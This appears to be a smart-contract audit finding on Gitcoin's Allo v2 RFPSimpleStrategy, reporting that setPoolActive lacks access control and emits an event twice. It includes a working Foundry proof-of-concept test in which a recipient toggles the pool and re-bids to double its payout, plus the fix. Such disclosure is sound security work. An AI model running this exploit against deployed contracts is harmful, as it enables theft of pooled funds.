Silly Carob Opossum

high

# RFPSimpleStrategy setPoolActive function has no onlyPoolManager modifier
## Summary

The `setPoolActive` function in `RFPSimpleStrategy.sol` has no `onlyPoolManager` modifier.

```solidity
/// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.
function setPoolActive(bool _flag) external {
    _setPoolActive(_flag);
    emit PoolActive(_flag);
}
```

Also, it emits the `PoolActive` event twice because the internal `_setPoolActive` function in `BaseStrategy.sol` emits it too.

```solidity
function _setPoolActive(bool _active) internal {
    poolActive = _active;
    emit PoolActive(_active);
}
```

## Vulnerability Detail

Anyone is allowed to change the activity status of the pool, which strategy is (or extends) RFPSimpleStrategy.

## Impact

It can affect all the scenarios that use functions with `onlyActivePool` and `onlyInactivePool` modifiers. 

1. The most critical one is that the accepted recipient can increase the payout amount by activating the pool and calling the `registerRecipient` function once again to update `proposalBid`.
2. Also, it's possible to prevent the registration of other recipients or prevent the owner from withdrawing funds.

## POC

Add this test to `RFPSimpleStrategyTest`, run with `forge test --mc RFPSimpleStrategyTest --mt testPOC -vv`.

```solidity
function testPOC() external {
    // Register recipient with initial proposalBid equals half of strategy max maxBid
    address attacker = recipient();
    uint256 initialProposalBid = maxBid / 2;
    Metadata memory metadata = Metadata({protocol: 1, pointer: "metadata"});
    bytes memory data = abi.encode(attacker, false, initialProposalBid, metadata);

    vm.prank(address(allo()));
    address recipientId = strategy.registerRecipient(data, attacker);

    RFPSimpleStrategy.Recipient memory _recipient = strategy.getRecipient(recipientId);
    assertEq(uint8(_recipient.recipientStatus), uint8(IStrategy.Status.Pending));
    assertEq(_recipient.proposalBid, initialProposalBid);

    // Set two milestones: 70% and 30%  
    __setMilestones();

    // Accept recipient, pool becomes inactive
    vm.prank(address(allo()));
    strategy.allocate(abi.encode(recipientId), address(pool_admin()));

    assertEq(strategy.acceptedRecipientId(), recipientId);
    assertEq(strategy.isPoolActive(), false);

    // Recipient sets pool active, updates proposalBid and sets pool inactive back again
    vm.prank(attacker);
    strategy.setPoolActive(true);
    assertEq(strategy.isPoolActive(), true);

    uint256 proposalBid = maxBid;
    data = abi.encode(attacker, false, proposalBid, metadata);

    vm.prank(address(allo()));
    strategy.registerRecipient(data, attacker);

    vm.prank(attacker);
    strategy.setPoolActive(false);
    assertEq(strategy.isPoolActive(), false);

    _recipient = strategy.getRecipient(recipientId);
    assertEq(_recipient.proposalBid, maxBid);

    // Recipient submits upcoming milestone
    vm.prank(attacker);
    strategy.submitUpcomingMilestone(Metadata({protocol: 1, pointer: "metadata"}));

    // Pool distributes funds
    uint256 attackerInitialBalance = attacker.balance;
    
    vm.deal(pool_admin(), 1e19);
    vm.prank(pool_admin());
    allo().fundPool{value: 1e19}(poolId, 1e19);

    vm.prank(address(allo()));
    strategy.distribute(new address[](0), "", pool_admin());

    // Recipient got x2 payout
    uint256 expectedPayout = (initialProposalBid * 7e17) / 1e18;
    uint256 payout = attacker.balance - attackerInitialBalance;
    assertEq(payout, expectedPayout  * 2);
}
```

## Code Snippet
https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222

## Tool used

Manual Review

## Recommendation

Add the `onlyPoolManager` modifier, and remove emitting the `PoolActive` event.

```solidity
function setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {
    _setPoolActive(_flag);
}
```
